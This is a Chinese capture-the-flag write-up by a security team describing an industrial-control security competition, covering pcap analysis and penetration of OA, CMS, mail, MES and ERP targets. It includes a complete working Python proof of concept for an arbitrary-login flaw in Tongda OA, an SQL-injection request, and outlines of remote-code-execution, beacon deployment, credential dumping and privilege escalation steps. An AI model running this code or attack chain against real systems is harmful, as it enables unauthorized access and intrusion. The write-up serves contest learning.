竞赛时间
2020.10.30 10:00-20:30
2020.10.31 09:00-12:00
竞赛地点
江苏·南通
参赛人员
Web🐶*3+资深测评师*1
竞赛平台


可能是我的Mac分辨率太高的原因,看上去是真的别扭...主要是太卡,一个flag需要提交好几次。🙊
竞赛手册





竞赛内容一:等保测评答题记录
由资深等保测评师一人负责,测评部分总分400分,占最终成绩的30%;
测评目录包括:工控安全审计、工控防火墙、上位机、工程师站等。
竞赛主办方给出的测评账号信息,全部为普通用户,只可以读取、查看配置,不可更改配置。

Tide安全战队提交的合规性检查答题表


竞赛内容二:渗透式解题记录
签到题一
打开题目附件后,发现是一个pcap包。里面有Modbus协议和一些常规的网络协议,因为是工控比赛,首先过滤了下Modbus协议看看有没有什么异常流量,根据以往的做题经验,先看看数据包内都包含了Modbus的哪些功能码。根据之前做题写过的脚本分析,Modbus 16功能码只出现了两次,即一次请求一次回复,过滤下Modbus 16功能码,找到flag。

主办方好像把平台的正确flag设置错了...导致找到了正确flag反而提交错误,后来主办方才更正了平台flag,再次提交才ok!
签到题二
题目描述:工控安全分析人员在互联网上部署了工控仿真蜜罐,通过蜜罐可抓取并分析互联网上针对工业资产的扫描行为,将存在高危扫描行为的IP加入防火墙黑名单可有效减少工业企业对于互联网的攻击面,分析出日志中针对西门子私有通信协议扫描最多的IP。
之前做过的一个原题,区别在于原题的flag为该IP的域名。

因为有以前的做题经验和脚本,直接上脚本分析出出现最多的ip地址,提交错误!然后开始各种改脚本...后面队友问我西门子PLC用的什么协议,直接Ctrl+F搜索S7提交”136.166.90.252“发现是正确答案。

下面是渗透攻击题目,先放上一张网络拓扑图。

攻击选手:10.100.140.XXX 子网掩码:255.255.255.0
外网应用地址:10.100.141.XXX (141是主办方一段时间后给出的提示,四个Web需要自己去扫描发现)
MES:10.100.142.XXX (Goby扫描发现后确认ip为142.2,只有门户网站服务器和MES之间能通讯,完全懵逼~~)
工控内网:172.16.XXX.XXX
Web1-通达OA 11.3
考点:任意用户登录+任意文件上传+回收站存在flag
通过Goby发现了通达OA的资产,并且扫描出了任意用户登录和某个.php脚本存在SQL注入,利用以下脚本实现任意用户登录。登录OA后发现里面没有包含flag,仔细看题目提示:主机内存在flag。于是开始Getshell,这时到了午饭时间,利用手机上网搜索通达OA Getshell漏洞,下午开赛后拿到了shell。
任意用户登录poc:
@Author : Sp4ce
@Date : 2020-03-17 23:42:16
LastEditors : Sp4ce
LastEditTime : 2020-08-27 10:21:44
@Description : Challenge Everything.
'''
import requests
from random import choice
import argparse
import json
USER_AGENTS = [
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
"Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
"Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
"Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
"Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
headers={}
def getV11Session(url):
checkUrl = url+'/general/login_code.php'
try:
headers["User-Agent"] = choice(USER_AGENTS)
res = requests.get(checkUrl,headers=headers)
resText = str(res.text).split('{')
codeUid = resText[-1].replace('}"}', '').replace('rn', '')
getSessUrl = url+'/logincheck_code.php'
res = requests.post(
getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
tmp_cookie = res.headers['Set-Cookie']
headers["User-Agent"] = choice(USER_AGENTS)
headers["Cookie"] = tmp_cookie
check_available = requests.get(url + '/general/index.php',headers=headers)
if '用户未登录' not in check_available.text:
if '重新登录' not in check_available.text:
print('[+]Get Available COOKIE:' + tmp_cookie)
else:
print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')
except:
print('[-]Something Wrong With '+url)
def get2017Session(url):
checkUrl = url+'/ispirit/login_code.php'
try:
headers["User-Agent"] = choice(USER_AGENTS)
res = requests.get(checkUrl,headers=headers)
resText = json.loads(res.text)
codeUid = resText['codeuid']
codeScanUrl = url+'/general/login_code_scan.php'
res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
resText = json.loads(res.text)
status = resText['status']
if status == str(1):
getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid
res = requests.get(getCodeUidUrl)
tmp_cookie = res.headers['Set-Cookie']
headers["User-Agent"] = choice(USER_AGENTS)
headers["Cookie"] = tmp_cookie
check_available = requests.get(url + '/general/index.php',headers=headers)
if '用户未登录' not in check_available.text:
if '重新登录' not in check_available.text:
print('[+]Get Available COOKIE:' + tmp_cookie)
else:
print('[-]Something Wrong With ' + url + ',Maybe Not Vulnerable.')
else:
print('[-]Something Wrong With '+url + ' Maybe Not Vulnerable ?')
except:
print('[-]Something Wrong With '+url)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
"-v",
"--tdoaversion",
type=int,
choices=[11, 2017],
help="Target TongDa OA Version. e.g: -v 11、-v 2017")
parser.add_argument(
"-url",
"--targeturl",
type=str,
help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
)
args = parser.parse_args()
url = args.targeturl
if 'http://' not in url:
url = 'http://' + url
if args.tdoaversion == 11:
getV11Session(url)
elif args.tdoaversion == 2017:
get2017Session(url)
else:
parser.print_help()

踩坑:冰蝎无法看到回收站内的东西,蚁剑可以!
Web2-门户网站
考点:SQL注入+SQLMap --os-shell+提权+桌面中存在flag
Web是一个DMCMS。
同样也是利用午饭时间可以手机上网,搜索了下DMCMS的漏洞,网上并没有可以getshell的漏洞,下午开赛后,在一个搜索框中随便输入,偶然间发现是刻意预留的一个SQL注入漏洞。

先上SQLMap,DBA权限,报错中暴露了绝对路径,--os-shell拿到系统shell;
POST /search.php HTTP/1.1
Host: 10.100.141.5
Content-Length: 40
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36
Origin: http://10.100.141.5
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.100.141.5/products.html
Accept-Language: zh-CN,zh;q=0.9
Connection: close
searchword=111&Submit=%E6%90%9C%E7%B4%A2

flag忘记藏在哪里了,忘记截图了...
Web3-WinMail
打开题目后,发现是团队成员之前复现过的一个邮件系统漏洞
因为此漏洞必须要登录,所以需要一个弱口令账号,因为有验证码,一开始手工盲猜,后来发现源码泄露中有测试账号。
源码泄露测试账号:

文件上传:
找到flag:
MES攻击思路
坑点:一开始我们在猜测哪个外网的服务器和MES服务器互通,后来提示有两台外网服务器和MES互通,于是猜测OA或者MAIL服务器,但现实是ERP系统、门户网站和MES互通???
通过门户网站服务器10.100.141.5进行扫描,发现存在10.100.142.2:80的web服务,打开发现是研华WebAccess,之前复现过这个漏洞(Tide安全团队公众号中有漏洞复现文章)。
研华WebAccess存在RCE漏洞。
在10.100.141.5上面搭建CS服务端和客户端,生成Powershell上线命令,利用研华存在RCE漏洞使得MES主机上线。
上线后是administrator权限,直接读密码、3389连接。在回收站中存在一个flag,属于假的flag。我的图片中找到一张图片,base64解码得到flag。

踩坑:base64字符串中的小写i看成了大写I。。。

ICS3
进入MES服务器后,在桌面上有个文本文档,里面记录了一个3389的用户名和密码,猜测是工控内网区的操作员站3389账号和密码。
在MES服务器上再次上Goby进行资产发现,发现了操作员站IP地址,是一台Win10主机,连接3389后,服务器上安装了一个上位机软件,如图:

此变压器重合闸对应一个题目:要求合上重合闸,不需要提交flag,找裁判现场确认、后续提交Writeup即可。但是合闸有密码,题目提示是从这台主机上寻找黑客遗留下的痕迹...

寻找遗留的痕迹之思路:
1、桌面发现的“黑客截获的程序文件”文件夹内的BR.st文件;
2、主机桌面发现的另一个.st文件:AR.st;
第二天想到的思路
3、操作系统日志分析;
4、上位机软件安装路径下的日志分析;
从第4点思路中,两位团队成员好像发现了些有关解题的信息,但是时间已不是很充裕了,发现的信息和合闸需要的密码关系不是太明显,导致这个题没有得到分。
在MES上利用Goby发现资产时,还扫到了一个IP开放了8080端口的Web服务,是一个OpenPLC(开放式PLC)服务(第一次接触...)。如图所示:

默认密码:openplc/openplc
进去后也没找到有存储flag。
此时已经是竞赛第一天的晚上,我们把Windows日志、两个.st文件,以及题目的一些描述都截图、保存下来,晚上继续研究。

当看到这个题目的提示的时候,思路来了,把两个.st文件上传OpenPLC运行下看看吧~~
但是当时手头又没有OpenPLC的运行环境,于是开始百度搜索安装OpenPLC软件,装了半天没装上...后来直接拉个docker岂不是一键解决???去docker镜像站搜索OpenPLC docker,开始下拉docker,但是考虑网速的问题,酒店网速不差但是也不快,于是直接利用阿里云服务器拉,更快些~~~拉了三四个终于找到一个可以用的...

flag is users email address
提交openplc用户的email地址就是正确flag。flag{[email protected]}
外网-ERP
ERP是第四个外网Web系统,也是唯一一个第一天没有拿下来的外网应用。
解题思路:
1、mysql弱口令:root/toor123
2、写shell到/var/www/html
3、提权(脏牛、suid都无法利用,队友找到了一个提权脚本CVE-2015-1328)至root权限,但是root的交互式shell不稳定,老是掉,就需要再次提权,就这样反复提权中...
4、利用locate命令,搜到/root/flag.txt文件。


竞赛内容三:工控试验箱答题记录

给予时长:90分钟;
题目及题量:

这个箱子也走了很多弯路!
1、没有鼠标;
2、超级弱口令工具;
3、对防火墙设备、Web管理等不熟悉;


最终就做了前两个题,得分:100分;
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
我知道你在看哟
本文始发于微信公众号(Tide安全团队):WriteUp-首届中国I²S峰会暨工业互联网安全大赛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论